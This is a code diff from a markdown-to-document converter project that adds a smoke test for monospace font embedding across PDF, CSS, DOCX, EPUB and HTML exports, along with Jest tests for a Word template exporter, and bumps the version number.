    updateSettings: jest.fn(),
    setCustomStartPage: jest.fn(),
  },
  pdf: {
    processOperation: jest.fn(),
@@ -0,0 +1,146 @@
 // Manual end-to-end smoke test for the monospace font embedding pipeline.
 // Verifies that:
 //   1. PdfFontHeader produces valid fontspec that references real bundled TTFs
 //   2. ExportCss.build emits a @font-face with base64 data URI from the TTF
 //   3. DocxFontEmbedder.inject on a pandoc-produced DOCX includes the font
 //   4. EpubFontEmbedder.patchManifest references the TTF in OPF <manifest>
 //   5. MonospaceFontConfig.getMonoFontTtfPath returns real paths for both families
 //
 // Run with: node tests/smoke-e2e-monospace.js
 'use strict';
 const fs = require('fs');
 const path = require('path');
 const os = require('os');
 const { execFileSync } = require('child_process');
 const JSZip = require('jszip');
 const PdfFontHeader = require('../src/main/PdfFontHeader');
 const ExportCss = require('../src/main/ExportCss');
 const MonospaceFontConfig = require('../src/main/MonospaceFontConfig');
 const DocxFontEmbedder = require('../src/main/DocxFontEmbedder');
 const EpubFontEmbedder = require('../src/main/EpubFontEmbedder');
 const TMP = fs.mkdtempSync(path.join(os.tmpdir(), 'mc-smoke-'));
 const ASCII_FIXTURE = `\`\`\`
 +---+---+---+
 | A | B | C |
 +---+---+---+
 | 1 | 2 | 3 |
 +---+---+---+
 \`\`\`
 Use this **ASCII** table to verify \`column alignment\` in code blocks.
 `;
 function check(label, cond, detail) {
  const tag = cond ? 'OK  ' : 'FAIL';
  console.log(`[${tag}] ${label}${detail ? ' — ' + detail : ''}`);
  if (!cond) process.exitCode = 1;
 }
 (async () => {
  console.log(`Smoke test dir: ${TMP}`);
  // 1. PdfFontHeader
  const jbmRegular = MonospaceFontConfig.getMonoFontTtfPath('jetbrains-mono', 400);
  check('JBM Regular TTF resolves', !!jbmRegular, jbmRegular);
  const jbmBold = MonospaceFontConfig.getMonoFontTtfPath('jetbrains-mono', 700);
  check('JBM Bold TTF resolves', !!jbmBold, jbmBold);
  const fcRegular = MonospaceFontConfig.getMonoFontTtfPath('fira-code', 400);
  check('Fira Code Regular TTF resolves', !!fcRegular, fcRegular);
  const tex = PdfFontHeader.build({
    fontTtfPath: jbmRegular,
    boldTtfPath: jbmBold,
    ligatures: false,
  });
  check('PdfFontHeader includes fontspec', tex.includes('\\usepackage{fontspec}'));
  check(
    'PdfFontHeader sets family to JetBrainsMono',
    /\\setmonofont\[[^\]]*\]\{JetBrainsMono\}/.test(tex)
  );
  check('PdfFontHeader disables common ligatures', tex.includes('Ligatures=NoCommon'));
  // 2. ExportCss
  const css = ExportCss.build({
    activeFontPath: jbmRegular,
    family: 'JetBrains Mono',
    weight: 400,
    ligatures: false,
  });
  check('ExportCss declares @font-face', css.includes('@font-face'));
  check('ExportCss uses data URI', css.includes('data:font/woff2;base64,'));
  check('ExportCss sets font-feature-settings', css.includes('font-feature-settings'));
  // 3. DocxFontEmbedder — build a DOCX via pandoc, then patch
  const mdPath = path.join(TMP, 'ascii.md');
  fs.writeFileSync(mdPath, ASCII_FIXTURE);
  const docxPath = path.join(TMP, 'ascii.docx');
  execFileSync('pandoc', [mdPath, '-o', docxPath], { stdio: 'pipe' });
  const patchedDocx = await DocxFontEmbedder.embed(docxPath, [
    { path: jbmRegular, family: 'JetBrains Mono', weight: 400 },
    { path: jbmBold, family: 'JetBrains Mono', weight: 700 },
  ]);
  const docxZip = await JSZip.loadAsync(fs.readFileSync(patchedDocx));
  const fontTable = docxZip.file('word/fontTable.xml')
    ? await docxZip.file('word/fontTable.xml').async('string')
    : '';
  check('DOCX has word/fontTable.xml', !!fontTable);
  check('DOCX fontTable names JetBrains Mono', fontTable.includes('JetBrains Mono'));
  check('DOCX fontTable has embedRegular', /<w:embedRegular/.test(fontTable));
  check(
    'DOCX embeds JetBrainsMono-Regular.ttf',
    Object.keys(docxZip.files).some((f) => /word\/fonts\/JetBrainsMono-Regular\.ttf$/.test(f))
  );
  check(
    'DOCX embeds JetBrainsMono-Bold.ttf',
    Object.keys(docxZip.files).some((f) => /word\/fonts\/JetBrainsMono-Bold\.ttf$/.test(f))
  );
  // 4. EpubFontEmbedder — build an EPUB, then patch
  const epubPath = path.join(TMP, 'ascii.epub');
  execFileSync('pandoc', [mdPath, '-o', epubPath], { stdio: 'pipe' });
  const patchedEpub = await EpubFontEmbedder.patchManifest(epubPath, [
    { path: jbmRegular, family: 'JetBrains Mono', weight: 400 },
  ]);
  const epubZip = await JSZip.loadAsync(fs.readFileSync(patchedEpub));
  const opfEntry = Object.keys(epubZip.files).find((f) => f.endsWith('content.opf'));
  check('EPUB has content.opf', !!opfEntry);
  const opf = await epubZip.file(opfEntry).async('string');
  check('EPUB OPF references the TTF', /href="OEBPS\/fonts\/JetBrainsMono-Regular\.ttf"/.test(opf));
  check(
    'EPUB OPF declares x-font-ttf media type',
    /media-type="application\/x-font-ttf"/.test(opf)
  );
  check(
    'EPUB embeds the TTF in OEBPS/fonts/',
    Object.keys(epubZip.files).some((f) => /^OEBPS\/fonts\/JetBrainsMono-Regular\.ttf$/.test(f))
  );
  // 5. HTML export via pandoc with --css pointing at ExportCss output
  const cssFile = path.join(TMP, 'mono.css');
  fs.writeFileSync(cssFile, css, 'utf-8');
  const htmlPath = path.join(TMP, 'ascii.html');
  execFileSync('pandoc', [mdPath, '-s', `--css=${cssFile}`, '-o', htmlPath], { stdio: 'pipe' });
  const html = fs.readFileSync(htmlPath, 'utf-8');
  // Pandoc with --css writes a <link rel="stylesheet"> reference rather than
  // inlining the CSS; the @font-face lives in the sidecar CSS file.
  const linksCss = /<link\s+rel="stylesheet"\s+href="[^"]*\.css/.test(html);
  check(
    'HTML export links the monospace CSS',
    linksCss,
    linksCss ? '' : 'expected <link rel="stylesheet" href="*.css"> in HTML'
  );
  const cssText = fs.readFileSync(cssFile, 'utf-8');
  check('Sidecar CSS declares @font-face', cssText.includes('@font-face'));
  check('Sidecar CSS embeds the font via data URI', cssText.includes('data:font/woff2;base64,'));
  // Cleanup
  fs.rmSync(TMP, { recursive: true, force: true });
  console.log(`Exit code: ${process.exitCode || 0}`);
 })().catch((err) => {
  console.error('Smoke test crashed:', err);
  process.exitCode = 2;
 });
@@ -4,75 +4,6 @@
 */
 describe('Utility Functions', () => {
  describe('parseCommand', () => {
    // This function parses command strings into command and args
    function parseCommand(cmdString) {
      const parts = [];
      let current = '';
      let inQuotes = false;
      let quoteChar = '';
      for (let i = 0; i < cmdString.length; i++) {
        const char = cmdString[i];
        if ((char === '"' || char === "'") && !inQuotes) {
          inQuotes = true;
          quoteChar = char;
        } else if (char === quoteChar && inQuotes) {
          inQuotes = false;
          quoteChar = '';
        } else if (char === ' ' && !inQuotes) {
          if (current) {
            parts.push(current);
            current = '';
          }
        } else {
          current += char;
        }
      }
      if (current) {
        parts.push(current);
      }
      return {
        command: parts[0],
        args: parts.slice(1),
      };
    }
    test('should parse simple command', () => {
      const result = parseCommand('pandoc input.md -o output.pdf');
      expect(result.command).toBe('pandoc');
      expect(result.args).toEqual(['input.md', '-o', 'output.pdf']);
    });
    test('should handle double-quoted paths', () => {
      const result = parseCommand('pandoc "C:/path with spaces/file.md" -o output.pdf');
      expect(result.command).toBe('pandoc');
      expect(result.args).toEqual(['C:/path with spaces/file.md', '-o', 'output.pdf']);
    });
    test('should handle single-quoted paths', () => {
      const result = parseCommand("pandoc 'file name.md' -o output.pdf");
      expect(result.command).toBe('pandoc');
      expect(result.args).toEqual(['file name.md', '-o', 'output.pdf']);
    });
    test('should handle multiple options', () => {
      const result = parseCommand(
        'pandoc input.md --pdf-engine=xelatex -V geometry:margin=1in -o output.pdf'
      );
      expect(result.command).toBe('pandoc');
      expect(result.args).toContain('--pdf-engine=xelatex');
      expect(result.args).toContain('-V');
    });
    test('should handle empty command', () => {
      const result = parseCommand('');
      expect(result.command).toBeUndefined();
      expect(result.args).toEqual([]);
    });
  });
  describe('hexToRgb', () => {
    // This function converts hex colors to RGB
    function hexToRgb(hex) {
@@ -0,0 +1,241 @@
 /**
 * Tests for WordTemplateExporter
 */
 const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const PizZip = require('pizzip');
 const WordTemplateExporter = require('../src/wordTemplateExporter');
 describe('WordTemplateExporter.preprocessMarkdownForWordExport', () => {
  test('removes HTML style blocks', () => {
    const input = `<style>
 <!-- sneh-a4-print v1 -->
@media print { body { font-size: 8pt; } }
 </style>
 # Heading
 `;
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).not.toContain('<style');
    expect(output).not.toContain('</style>');
    expect(output).not.toContain('sneh-a4-print');
    expect(output).not.toContain('@media print');
    expect(output).toContain('# Heading');
  });
  test('removes HTML comments outside style blocks', () => {
    const input = `<!-- comment -->
 Hello world
 `;
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).not.toContain('<!--');
    expect(output).not.toContain('-->');
    expect(output).toContain('Hello world');
  });
  test('removes alignment div tags', () => {
    const input = `<div align="center">
 Centered content
 </div>
 `;
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).not.toContain('<div align="center">');
    expect(output).not.toContain('</div>');
    expect(output).toContain('Centered content');
  });
  test('preserves regular markdown content', () => {
    const input = `# Title
 | A | B |
 |---|---|
 | 1 | 2 |
 `;
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).toBe(input);
  });
  test('handles content with no HTML artifacts', () => {
    const input = 'Plain text paragraph.';
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).toBe(input);
  });
  test('preserves HTML artifacts inside fenced code blocks', () => {
    const input = `# Title
 \`\`\`
 <style>body{}</style>
 <!-- comment -->
 <div align="center">text</div>
 \`\`\`
 After code.
 `;
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).toContain('<style>body{}</style>');
    expect(output).toContain('<!-- comment -->');
    expect(output).toContain('<div align="center">text</div>');
    expect(output).toContain('After code.');
  });
  test('preserves HTML artifacts inside inline code', () => {
    const input = 'Use `<div align="center">` for alignment.';
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).toContain('`<div align="center">`');
  });
  test('handles uppercase tags and unquoted attributes', () => {
    const input = `<DIV align=center>
 Centered
 </DIV>
 `;
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).not.toContain('<DIV');
    expect(output).not.toContain('</DIV>');
    expect(output).toContain('Centered');
  });
  test('handles single-quoted attributes', () => {
    const input = `<div align='right'>Right</div>`;
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).not.toContain('<div');
    expect(output).not.toContain('</div>');
    expect(output).toContain('Right');
  });
  test('removes non-alignment div tags without leaving malformed HTML', () => {
    const input = `<div class="note">Note text</div>`;
    const output = WordTemplateExporter.preprocessMarkdownForWordExport(input);
    expect(output).not.toContain('<div');
    expect(output).not.toContain('</div>');
    expect(output).toContain('Note text');
  });
  test('returns non-string input unchanged', () => {
    expect(WordTemplateExporter.preprocessMarkdownForWordExport(null)).toBeNull();
    expect(WordTemplateExporter.preprocessMarkdownForWordExport(123)).toBe(123);
  });
 });
 describe('WordTemplateExporter.hasTemplateFile', () => {
  test('is false when no path is given and the bundled default template is absent', () => {
    // word_template.docx was removed from the repo (see git history); this
    // asserts the current, real state of the repo rather than assuming a
    // file that may or may not exist.
    const exporter = new WordTemplateExporter(null);
    const defaultExists = fs.existsSync(WordTemplateExporter.getDefaultTemplatePath());
    expect(exporter.hasTemplateFile()).toBe(defaultExists);
  });
  test('is false for a path that does not exist on disk', () => {
    const exporter = new WordTemplateExporter('/definitely/not/a/real/path/template.docx');
    expect(exporter.hasTemplateFile()).toBe(false);
  });
  test('is true for a path that does exist on disk', () => {
    const tmpFile = path.join(os.tmpdir(), `wt-exists-${Date.now()}.docx`);
    fs.writeFileSync(tmpFile, 'not a real docx, existence is all that matters here');
    try {
      const exporter = new WordTemplateExporter(tmpFile);
      expect(exporter.hasTemplateFile()).toBe(true);
    } finally {
      fs.unlinkSync(tmpFile);
    }
  });
 });
 describe('WordTemplateExporter.convert — graceful fallback with no template file', () => {
  let outputPath;
  afterEach(() => {
    if (outputPath && fs.existsSync(outputPath)) {
      fs.unlinkSync(outputPath);
    }
    outputPath = null;
  });
  test('does not throw ENOENT and produces a readable DOCX when the template path is missing', async () => {
    outputPath = path.join(os.tmpdir(), `wt-fallback-${Date.now()}.docx`);
    const exporter = new WordTemplateExporter('/definitely/not/a/real/path/template.docx', 3, null);
    await expect(exporter.convert('# Title\n\nSome paragraph text.', outputPath)).resolves.toBe(
      outputPath
    );
    expect(fs.existsSync(outputPath)).toBe(true);
    // The generated file must be a well-formed DOCX (zip) with the parts
    // Word requires, containing the markdown content.
    const zip = new PizZip(fs.readFileSync(outputPath));
    expect(zip.file('word/document.xml')).not.toBeNull();
    expect(zip.file('word/styles.xml')).not.toBeNull();
    expect(zip.file('word/numbering.xml')).not.toBeNull();
    const documentXml = zip.file('word/document.xml').asText();
    expect(documentXml).toContain('Title');
    expect(documentXml).toContain('Some paragraph text.');
    expect(documentXml).toContain('Heading1');
  });
  test('also degrades gracefully when templatePath is null and the default template is absent', async () => {
    outputPath = path.join(os.tmpdir(), `wt-fallback-null-${Date.now()}.docx`);
    const exporter = new WordTemplateExporter(null, 3, null);
    if (exporter.hasTemplateFile()) {
      // Environment happens to have a real default template on disk —
      // this test only asserts the fallback path, so skip in that case.
      return;
    }
    await expect(exporter.convert('Plain content.', outputPath)).resolves.toBe(outputPath);
    expect(fs.existsSync(outputPath)).toBe(true);
  });
  test('honors pageSettings (landscape) in the generated default document', async () => {
    outputPath = path.join(os.tmpdir(), `wt-fallback-landscape-${Date.now()}.docx`);
    const exporter = new WordTemplateExporter('/definitely/not/a/real/path/template.docx', 3, {
      size: 'a4',
      orientation: 'landscape',
    });
    await exporter.convert('Landscape content.', outputPath);
    const zip = new PizZip(fs.readFileSync(outputPath));
    const documentXml = zip.file('word/document.xml').asText();
    expect(documentXml).toContain('w:orient="landscape"');
    // A4 landscape swaps width/height relative to portrait (11906x16838).
    expect(documentXml).toContain('w:w="16838"');
    expect(documentXml).toContain('w:h="11906"');
  });
  test('still uses the real template file when one exists on disk (regression check)', async () => {
    // Build a tiny but valid docx fixture (using the same generator used
    // for the no-template fallback) to stand in for a "real" template, so
    // this test does not depend on any bundled fixture file existing.
    const templatePath = path.join(os.tmpdir(), `wt-fixture-template-${Date.now()}.docx`);
    const fixtureExporter = new WordTemplateExporter('/no/such/file.docx');
    const fixtureZip = fixtureExporter.buildDefaultDocumentZip(
      '<w:p><w:r><w:t>COVER</w:t></w:r></w:p>'
    );
    fs.writeFileSync(templatePath, fixtureZip.generate({ type: 'nodebuffer' }));
    outputPath = path.join(os.tmpdir(), `wt-with-template-${Date.now()}.docx`);
    try {
      const exporter = new WordTemplateExporter(templatePath, 3, null);
      expect(exporter.hasTemplateFile()).toBe(true);
      await exporter.convert('Body content.', outputPath);
      const zip = new PizZip(fs.readFileSync(outputPath));
      const documentXml = zip.file('word/document.xml').asText();
      // Content from the "template" (cover) and the new export both present.
      expect(documentXml).toContain('COVER');
      expect(documentXml).toContain('Body content.');
    } finally {
      fs.unlinkSync(templatePath);
    }
  });
 });
`@@ -162,4 +162,4 @@ Amit Haridas (amit.wh@gmail.com)`

	`## Version`	`## Version`

	`v4.4.4`	`v4.5.0`